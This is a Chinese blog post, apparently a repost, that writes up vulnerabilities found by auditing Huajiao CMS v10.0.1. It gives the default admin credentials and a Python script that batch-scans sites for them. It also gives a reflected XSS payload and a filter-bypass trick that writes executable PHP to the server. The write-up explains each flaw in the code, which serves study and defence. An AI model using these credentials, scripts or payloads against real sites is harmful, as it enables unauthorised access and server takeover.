花椒CMS渗透测试后的漏洞总结

admin 2022年2月7日00:33:59评论438 views字数 3876阅读12分55秒阅读模式
花椒CMS渗透测试后的漏洞总结

代码审计:对花椒CMS的测试




花椒CMS渗透测试后的漏洞总结

因为放了寒假,时间比较充裕,于是就开始学习网络安全。不学还好,结果一学就沉迷于此不可自拔。最近有个团队找到我,合作了一些内容。其中有一项就是渗透一个使用花椒CMS的网站,于是我欣然接受。经过两个小时的努力,摸到了花椒CMS的提权漏洞

因为好奇原因,就从网上下载了一套源码,自己搭建环境测试了一下。并通过代码审计进一步挖掘,整理了一些漏洞,供大家学习

源代码下载:http://huajiaocms.com/index.html

版本:v10.0.1 2021.02.27




花椒CMS渗透测试后的漏洞总结





NO.1


弱口令漏洞



花椒CMS渗透测试后的漏洞总结

漏洞位置http://IP/adminx

账号、密码:HJCMS

花椒CMS渗透测试后的漏洞总结



如果网站存在使用默认账号口令的情况,就会弹窗提醒网站使用者“您当前使用的是默认密码!请尽早修改默认密码换上更加复杂的密码,避免被有心人入侵”,这个就可以作为判断是否使用默认账号口令的重要依据。


花椒CMS渗透测试后的漏洞总结


先上完整版Python编写的PoC
import timeimport requestsimport osfrom requests.sessions import sessionos.system('')from requests.packages.urllib3.exceptions import InsecureRequestWarning# 禁用安全请求警告requests.packages.urllib3.disable_warnings(InsecureRequestWarning)import argparseclass poc():    def title(self):        print('''+-----------------------------------------------------------------+花椒CMS 弱口令检测单个检测:python poc.py -u url批量检测:python poc.py -f 1.txt+-----------------------------------------------------------------+''')    def poc(self, target_ur):        url = f'{target_ur}/adminx/'        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}        try:            res = requests.get(url=url, headers=headers,verify=False,timeout=10)            return res        except Exception as e:            print("33[31m[x] 请求失败 33[0m", e)    def main(self, target_url, file):        self.title()        count=0        if target_url:            res=self.poc(target_url)            if res.status_code==200 and "当前使用的是默认账号" in res.text:                print(f'33[31m[+] {target_url} 存在弱口令:HJCMS/HJCMS 33[0m')        if file:            for url in file:                count += 1                target_url = url.replace('n', '')  #取消换行符                #time.sleep(1)                res=self.poc(target_url)                try:                    if res.status_code==200 and "当前使用的是默认账号" in res.text:                        print(f'33[31m[{count}] 响应值为200,{target_url} 存在弱口令:HJCMS/HJCCMS33[0m')                    else:                        print(f'[{count}] 响应值为{res.status_code}{target_url} 不存在弱口令')                except Exception as e:                    print("33[31m[x] 请求失败 33[0m", e)if __name__ == '__main__':    parser = argparse.ArgumentParser()    parser.add_argument('-u','--url',type=str,default=False,help="目标地址,带上http://")    parser.add_argument("-f",'--file', type=argparse.FileType('r'),default=False,help="批量检测,带上http://")    args = parser.parse_args()    run = poc()    run.main(args.url, args.file)
看这一行代码
if res.status_code==200 and "当前使用的是默认账号" in res.text:,
是一个if判断语句。如果这个判断语句成立,那么就会判定存在弱口令。他没有去通过输入密码等尝试登录后返回的信息判断是否存在弱口令,而是利用了程序本身的特性——没有更改密码,就会弹窗提醒
这样就大大降低和程序的复杂性和时间成本





NO.2


反射XSS漏洞



花椒CMS渗透测试后的漏洞总结

漏洞位置:/Static/Home/VideoJS/index.php

花椒CMS渗透测试后的漏洞总结


漏洞payload:?Play=%27;alert(1);%27

花椒CMS渗透测试后的漏洞总结







先打开/Static/Home/VideoJS/index.php,找到获取URL参数的部分代码

<script type="text/javascript">    var vPath = '<?php include('Helper.php'); echo safeRequest($_GET['url']);?>';    var logo = '';       var myVideo=initVideo({        id:'myVideo',        url:vPath,        ad:{        pre:{        url:'',        link:'',            },         },        logo:{        url:'logo.png',        width:'100px'
        }, });</script>

问题出在了
var vPath = '<?php include('Helper.php'); echo safeRequest($_GET['url']);?>';
PHP获取URL参数后直接输出在文档中。尝试最简单的
payload:<script>alert("hack")</script>



花椒CMS渗透测试后的漏洞总结


代码成了

var vPath = '&lt;script&gt;alert(&quot;hack&quot;)&lt;/script&gt;';

尖括号被过滤了

include('Helper.php');

,在Helper.php中过滤了参数


花椒CMS渗透测试后的漏洞总结


<?php//过滤提交参数function safeRequest($data){    $data = stripslashes($data);//这里过滤斜杠    $data = htmlspecialchars($data);//这里将标签转换为实体    return $data;}?>
$data = htmlspecialchars($data);//这里将标签转换为实体
这句话使插入失败
但是好像不需要尖括号,这个PHP直接在js代码中输出的变量,所以闭合前面的语句,插入代码,再闭合后面的单引号就可以了


花椒CMS渗透测试后的漏洞总结


代码成了var vPath = '';alert(1);'';,成功弹窗




NO.3


文件上传漏洞



花椒CMS渗透测试后的漏洞总结

位置/Php/Admin/Home/Ad/AdJs.php,通过代码审计,发现提交的代码被储存在一个PHP文件里。

<?php$postAdJs = $_POST['AdJs'];if (isset($_POST['submit']) && isset($postAdJs)) {    $postAdJs = str_replace('<?php','',$postAdJs);$file = fopen("../HJSQL/Admin/Ad/AdminAdJs.php","w");fwrite($file,$postAdJs);fclose($file);  ?>
$file = fopen("../HJSQL/Admin/Ad/AdminAdJs.php","w");,

打开/HJSQL/Admin/Ad/AdminAdJs.php,写入数据


花椒CMS渗透测试后的漏洞总结


没有其他代码,于是我尝试写入PHP代码

先来最简单的

<?php phpinfo();?>


花椒CMS渗透测试后的漏洞总结


发现只剩下了一部分,<?php被过滤掉了,返回去看看,发现忽略了一行代码

$postAdJs = str_replace('<?php','',$postAdJs)

对传入的数据进行了过滤

把<?php过滤掉,我就把代码改成<?p<?phphp phpinfo();?>

这样即使被过滤了,剩下的<?p与hp拼成新的<?php,点击提交查看文件

访问这个文件,发现成功执行花椒CMS渗透测试后的漏洞总结



花椒CMS渗透测试后的漏洞总结




总结






使用花椒CMS的网站存在多处漏洞,甚至后台提权。但是我只在黑盒测试中发现了存储xss漏洞,其他漏洞都是审计出来的。还有很多getshell的位置,但是与上文类似,我就不提了


所以代码审计是真的香啊

原文始发于微信公众号(天禧信安):花椒CMS渗透测试后的漏洞总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月7日00:33:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   花椒CMS渗透测试后的漏洞总结http://cn-sec.com/archives/766409.html

发表评论

匿名网友 填写信息